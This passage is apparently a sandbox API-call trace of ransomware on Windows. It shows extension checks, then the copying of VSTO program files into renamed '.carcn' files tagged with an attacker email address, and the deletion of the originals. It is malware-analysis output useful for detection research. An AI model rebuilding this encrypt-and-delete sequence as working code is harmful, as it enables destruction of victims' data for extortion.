[0297.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.013] lstrlenW (lpString=".7z") returned 3 [0297.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.013] lstrlenW (lpString=".dbf") returned 4 [0297.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.013] lstrlenW (lpString=".1cd") returned 4 [0297.013] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.013] lstrlenW (lpString=".jpg") returned 4 [0297.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.013] lstrlenW (lpString=".doc") returned 4 [0297.013] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.013] lstrlenW (lpString=".docx") returned 5 [0297.013] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0297.013] lstrlenW (lpString=".pdf") returned 4 [0297.013] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.013] lstrlenW (lpString=".xls") returned 4 [0297.013] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.013] lstrlenW (lpString=".xlsx") returned 5 [0297.013] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0297.013] lstrlenW (lpString=".ppt") returned 4 [0297.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.014] lstrlenW (lpString=".zip") returned 4 [0297.014] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.014] lstrlenW (lpString=".rar") returned 4 [0297.014] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.014] lstrlenW (lpString=".bz2") returned 4 [0297.014] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.014] lstrlenW (lpString=".7z") returned 3 [0297.014] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.014] lstrlenW (lpString=".dbf") returned 4 [0297.014] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.014] lstrlenW (lpString=".1cd") returned 4 [0297.014] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58 [0297.014] lstrlenW (lpString=".jpg") returned 4 [0297.014] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.014] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.014] lstrlenW (lpString="VSTOInstallerUI.dll") returned 19 [0297.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.016] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=12448) returned 1 [0297.016] CloseHandle (hObject=0x398) returned 1 [0297.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20 [0297.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.016] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.016] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0297.019] GetLastError () returned 0x0 [0297.019] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x30a0, lpOverlapped=0x0) returned 1 [0297.038] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x30b0, lpOverlapped=0x0) returned 1 [0297.040] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.040] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xfa, lpOverlapped=0x0) returned 1 [0297.040] SetEndOfFile (hFile=0x338) returned 1 [0297.040] CloseHandle (hObject=0x338) returned 1 [0297.040] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.041] SetEndOfFile (hFile=0x398) returned 1 [0297.042] CloseHandle (hObject=0x398) returned 1 [0297.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1 [0297.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.042] lstrlenW (lpString=".doc") returned 4 [0297.042] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.042] lstrlenW (lpString=".docx") returned 5 [0297.042] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0297.042] lstrlenW (lpString=".pdf") returned 4 [0297.042] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.042] lstrlenW (lpString=".xls") returned 4 [0297.043] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.043] lstrlenW (lpString=".xlsx") returned 5 [0297.043] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0297.043] lstrlenW (lpString=".ppt") returned 4 [0297.043] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.043] lstrlenW (lpString=".zip") returned 4 [0297.043] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.043] lstrlenW (lpString=".rar") returned 4 [0297.043] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.043] lstrlenW (lpString=".bz2") returned 4 [0297.043] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.043] lstrlenW (lpString=".7z") returned 3 [0297.043] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.043] lstrlenW (lpString=".dbf") returned 4 [0297.043] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.043] lstrlenW (lpString=".1cd") returned 4 [0297.043] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.043] lstrlenW (lpString=".jpg") returned 4 [0297.043] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.044] lstrlenW (lpString=".doc") returned 4 [0297.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.044] lstrlenW (lpString=".docx") returned 5 [0297.044] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0297.044] lstrlenW (lpString=".pdf") returned 4 [0297.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.044] lstrlenW (lpString=".xls") returned 4 [0297.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.044] lstrlenW (lpString=".xlsx") returned 5 [0297.044] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0297.044] lstrlenW (lpString=".ppt") returned 4 [0297.044] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.044] lstrlenW (lpString=".zip") returned 4 [0297.044] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.044] lstrlenW (lpString=".rar") returned 4 [0297.044] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.044] lstrlenW (lpString=".bz2") returned 4 [0297.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.044] lstrlenW (lpString=".7z") returned 3 [0297.044] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.044] lstrlenW (lpString=".dbf") returned 4 [0297.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.045] lstrlenW (lpString=".1cd") returned 4 [0297.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81 [0297.045] lstrlenW (lpString=".jpg") returned 4 [0297.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.045] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0297.045] lstrlenW (lpString="VSTOLoaderUI.dll") returned 16 [0297.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.046] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=20608) returned 1 [0297.046] CloseHandle (hObject=0x398) returned 1 [0297.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0297.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.046] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.046] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0297.047] GetLastError () returned 0x0 [0297.047] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x5080, lpOverlapped=0x0) returned 1 [0297.050] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x5090, lpOverlapped=0x0) returned 1 [0297.051] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.051] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf4, lpOverlapped=0x0) returned 1 [0297.052] SetEndOfFile (hFile=0x338) returned 1 [0297.052] CloseHandle (hObject=0x338) returned 1 [0297.052] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.052] SetEndOfFile (hFile=0x398) returned 1 [0297.053] CloseHandle (hObject=0x398) returned 1 [0297.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.053] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0297.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.054] lstrlenW (lpString=".doc") returned 4 [0297.055] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.055] lstrlenW (lpString=".docx") returned 5 [0297.055] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0297.055] lstrlenW (lpString=".pdf") returned 4 [0297.055] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.055] lstrlenW (lpString=".xls") returned 4 [0297.055] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.055] lstrlenW (lpString=".xlsx") returned 5 [0297.055] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0297.055] lstrlenW (lpString=".ppt") returned 4 [0297.055] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.055] lstrlenW (lpString=".zip") returned 4 [0297.055] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.055] lstrlenW (lpString=".rar") returned 4 [0297.055] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.055] lstrlenW (lpString=".bz2") returned 4 [0297.055] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.055] lstrlenW (lpString=".7z") returned 3 [0297.055] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.055] lstrlenW (lpString=".dbf") returned 4 [0297.055] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.055] lstrlenW (lpString=".1cd") returned 4 [0297.055] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.055] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.056] lstrlenW (lpString=".jpg") returned 4 [0297.056] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.056] lstrlenW (lpString=".doc") returned 4 [0297.056] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0297.056] lstrlenW (lpString=".docx") returned 5 [0297.056] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0297.056] lstrlenW (lpString=".pdf") returned 4 [0297.056] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0297.056] lstrlenW (lpString=".xls") returned 4 [0297.056] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0297.056] lstrlenW (lpString=".xlsx") returned 5 [0297.056] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0297.056] lstrlenW (lpString=".ppt") returned 4 [0297.056] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0297.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.056] lstrlenW (lpString=".zip") returned 4 [0297.056] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0297.056] lstrlenW (lpString=".rar") returned 4 [0297.056] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0297.056] lstrlenW (lpString=".bz2") returned 4 [0297.056] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0297.056] lstrlenW (lpString=".7z") returned 3 [0297.056] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0297.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.057] lstrlenW (lpString=".dbf") returned 4 [0297.057] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0297.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.057] lstrlenW (lpString=".1cd") returned 4 [0297.057] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0297.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0297.057] lstrlenW (lpString=".jpg") returned 4 [0297.057] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0297.057] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0297.057] lstrlenW (lpString="VSTOInstaller.exe") returned 17 [0297.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.058] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=100488) returned 1 [0297.058] CloseHandle (hObject=0x398) returned 1 [0297.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0297.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0297.058] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.058] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0297.059] GetLastError () returned 0x0 [0297.059] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x18888, lpOverlapped=0x0) returned 1 [0297.715] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x18890, lpOverlapped=0x0) returned 1 [0297.722] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.722] WriteFile (in: hFile=0x338, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf6, lpOverlapped=0x0) returned 1 [0297.722] SetEndOfFile (hFile=0x338) returned 1 [0297.723] CloseHandle (hObject=0x338) returned 1 [0297.723] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.723] SetEndOfFile (hFile=0x398) returned 1 [0297.729] CloseHandle (hObject=0x398) returned 1 [0297.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0297.730] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1 [0297.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.730] lstrlenW (lpString=".doc") returned 4 [0297.730] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0297.730] lstrlenW (lpString=".docx") returned 5 [0297.730] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0297.730] lstrlenW (lpString=".pdf") returned 4 [0297.730] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0297.730] lstrlenW (lpString=".xls") returned 4 [0297.731] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0297.731] lstrlenW (lpString=".xlsx") returned 5 [0297.731] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0297.731] lstrlenW (lpString=".ppt") returned 4 [0297.731] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0297.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.731] lstrlenW (lpString=".zip") returned 4 [0297.731] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0297.731] lstrlenW (lpString=".rar") returned 4 [0297.731] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0297.731] lstrlenW (lpString=".bz2") returned 4 [0297.731] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0297.731] lstrlenW (lpString=".7z") returned 3 [0297.731] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0297.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74 [0297.731] 